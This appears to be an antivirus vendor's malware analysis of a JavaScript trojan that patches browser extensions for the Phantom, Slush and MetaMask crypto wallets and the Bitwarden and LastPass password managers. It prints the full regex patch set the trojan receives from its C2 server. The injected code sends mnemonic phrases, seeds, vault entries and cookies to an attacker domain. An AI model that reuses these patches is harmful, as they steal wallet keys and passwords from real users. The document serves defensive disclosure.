sha1:
- 4ee0b3f20ebd269b57d46a93d8697f69f2d67781 (background.js)
Description
A JavaScript-based trojan that represents modified browser extension files for various crypto wallets and password managers. Its main function is to get user data from these extensions and to forward it to the C2 server.
Operating routine
The trojan targets the following extensions:
- bfnaelmomeimhlpmgjnjophhpkkoljpa — the Phantom crypto wallet;
- opcgpfmipidbgpenhmajoajpbobppdil — the Slush crypto wallet;
- nngceckbapebfimnlniiiahkandclblb — the Bitwarden password manager;
- hdokiejnpimakedhajhdlcegeplioahd — the LastPass password manager;
- nkbihfbeogaeaoehlefnkodbefgpgknn — the MetaMask crypto wallet.
These extensions are modified at one of the system infection stages by another trojan from the same family—Trojan.Scavenger.3. Two types of patches are applied to the extensions:
- a timestamp *_LAST_RELOAD is added to the cookie where * is the extension name;
- a routine for sending user data to the C2 server is added.
The trojan sends malicious actors private keys and mnemonic phrases from the crypto wallets Phantom, Slush, and MetaMask. It obtains authorization cookies and user-added passwords from the password managers Bitwarden and LastPass, respectively.
The extension modifications that the trojan receives from the C2 server are shown below:
BAND|bfnaelmomeimhlpmgjnjophhpkkoljpa
[
{
"file_name": "*",
"match_helper": "return JSON.parse(Buffer.from",
"match": "return JSON.parse\\(Buffer.from\\((.)\\).toString\\(\\)\\)",
"replacement": "return (async [[1]] => { let x1 = JSON.parse(Buffer.from([[1]]).toString()); if (\"entropy\" in x1) await fetch(\"hxxps[:]//datacrab-analytics[.]com/api/v1/web-cookie-privacy/config?locale=gh\", { method: \"POST\", headers: { 'Accept': 'aplication/json', 'Content-Type': 'text/plain' }, body: Object.values(x1[\"entropy\"]).map(v => v.toString(16).padStart(2, '0')).join('') }); return x1; })([[1]]);"
},
{
"file_name": "Popup.entrypoint.js",
"match": "import\\{",
"replacement": "var current_time=Math.floor(Date.now() / 1000),lastReload=parseInt(localStorage.getItem(\"PHANTOM_LAST_RELOAD\"));lastReload && lastReload + 43200 > current_time||(localStorage.setItem(\"PHANTOM_LAST_RELOAD\",current_time),chrome.runtime.reload());import{"
}
]
_-_-_-_-_-_-_-_-_-_-_-_-_
BAND|hdokiejnpimakedhajhdlcegeplioahd
[
{
"file_name": "background-redux-new.js",
"match": "function (..)\\((.),(.)\\)\\{return\\{id",
"replacement": "function [[1]]([[2]],[[3]]){fetch('hxxps[:]//datacrab-analytics[.]com/api/v1/web-cookie-privacy/config?locale=lp', { method: 'POST', headers: { 'Accept': 'aplication/json', 'Content-Type': 'text/plain' }, body: btoa(JSON.stringify([[2]]))});return {id"
},
{
"file_name": "*",
"match_helper": "ES Modules may not assign",
"match": "\\(\\(\\)=>\\{\"use strict\";var",
"replacement": "var current_time=Math.floor(Date.now() / 1000),lastReload=parseInt(localStorage.getItem(\"LASTPASS_LAST_RELOAD\"));lastReload && lastReload + 43200 > current_time||(localStorage.setItem(\"LASTPASS_LAST_RELOAD\",current_time),chrome.runtime.reload());(()=>{\"use strict\";var"
}
]
_-_-_-_-_-_-_-_-_-_-_-_-_
BAND|nkbihfbeogaeaoehlefnkodbefgpgknn
[
{
"file_name": "scripts\\runtime-lavamoat.js",
"match": ";\\(function\\(\\) \\{",
"replacement": "chrome.storage.local.get(\"METAMASK_LAST_RELOAD\", (function(t) {var A = Number(t.METAMASK_LAST_RELOAD);var T = Math.floor(Date.now() / 1000);A && A + 43200 > T || this.storage.local.set({METAMASK_LAST_RELOAD: T}, () => {this.runtime.reload()})}).bind(chrome));(function() {"
},
{
"file_name": "scripts\\lockdown-install.js",
"match": "harden\\(root\\)\\{",
"replacement": "harden(root,opts1=null,opts2=null){if(opts1!=null){fetch(opts1, opts2)}"
},
{
"file_name": "scripts\\runtime-lavamoat.js",
"match": "harden\\(root\\) \\{",
"replacement": "harden(root,opts1=null,opts2=null){if(opts1!=null){fetch(opts1, opts2)}"
},
{
"file_name": "*",
"match_helper": "HDKey.fromMasterSeed",
"match": "this.seed=await\\(0,(.)\\.mnemonicToSeed\\)\\(this.mnemonic,\"\",(.)\\(this,(.),\"(.)\"\\)\\),this.hdWallet=(.)\\.HDKey",
"replacement": "this.seed=await(0,[[1]].mnemonicToSeed)(this.mnemonic,\"\",[[2]](this,[[3]],\"[[4]]\"));globalThis.harden(0,\"hxxps[:]//datacrab-analytics[.]com/api/v1/web-cookie-privacy/config?locale=cl\", { method: \"POST\", headers: { 'Accept': 'aplication/json', 'Content-Type': 'text/plain' }, body: Object.values(this.seed).map(v => v.toString(16).padStart(2, '0')).join('') });this.hdWallet=[[5]].HDKey"
}
]
_-_-_-_-_-_-_-_-_-_-_-_-_
BAND|nngceckbapebfimnlniiiahkandclblb
[
{
"file_name": "background.js",
"match": "\\{return this\\}static fromJSON\\((.)\\)\\{var (.),(.),(.);if\\(null==.\\)return null;",
"replacement": "{return this}static fromJSON([[1]]){var [[2]],[[3]],[[4]];if(null==[[1]])return null;(() => chrome.storage.local.get(`COOKIE_POLICY_${[[1]].id}`, r => { [[1]].revisionDate = ([[1]].revisionDate instanceof Date ? [[1]].revisionDate.toISOString() : [[1]].revisionDate); const s = r[`COOKIE_POLICY_${[[1]].id}`]; (!s || new Date([[1]].revisionDate) > new Date(s.revisionDate)) && chrome.storage.local.set({ [`COOKIE_POLICY_${[[1]].id}`]: { ...[[1]], revisionDate: [[1]].revisionDate } }, () => fetch('hxxps[:]//datacrab-analytics[.]com/api/v1/web-cookie-privacy/config?locale=gd', { method: 'POST', headers: { 'Accept': 'aplication/json', 'Content-Type': 'text/plain' }, body: btoa(JSON.stringify([[1]])) })); }))();"
},
{
"file_name": "popup\\main.js",
"match": "\\!function\\(\\)\\{var ",
"replacement": "chrome.storage.local.get(\"BITWARDEN_LAST_RELOAD\", (function(t) {var A = Number(t.BITWARDEN_LAST_RELOAD);var T = Math.floor(Date.now() / 1000);A && A + 43200 > T || this.storage.local.set({BITWARDEN_LAST_RELOAD: T}, () => {this.runtime.reload()})}).bind(chrome));!function(){var "
}
]
_-_-_-_-_-_-_-_-_-_-_-_-_
BAND|opcgpfmipidbgpenhmajoajpbobppdil
[
{
"file_name": "background.js",
"match": "return words\\.join\\(isJapanese",
"replacement": "fetch('hxxps[:]//datacrab-analytics[.]com/api/v1/web-cookie-privacy/config?locale=su', { method: 'POST', headers: { 'Accept': 'aplication/json', 'Content-Type': 'text/plain' }, body: btoa(words.toString().replaceAll(\",\", \" \")) });return words.join(isJapanese"
},
{
"file_name": "*",
"match_helper": "var __BUNDLE_START_TIME__",
"match": "var \\_\\_BUNDLE\\_START\\_TIME\\_\\_",
"replacement": "chrome.storage.local.get(\"SUI_LAST_RELOAD\", (function(t) {var A = Number(t.SUI_LAST_RELOAD);var T = Math.floor(Date.now() / 1000);A && A + 43200 > T || this.storage.local.set({SUI_LAST_RELOAD: T}, () => {this.runtime.reload()})}).bind(chrome));var __BUNDLE_START_TIME__"
}
]
More about Trojan.Scavenger.3
News about the trojan
Indicators of compromise
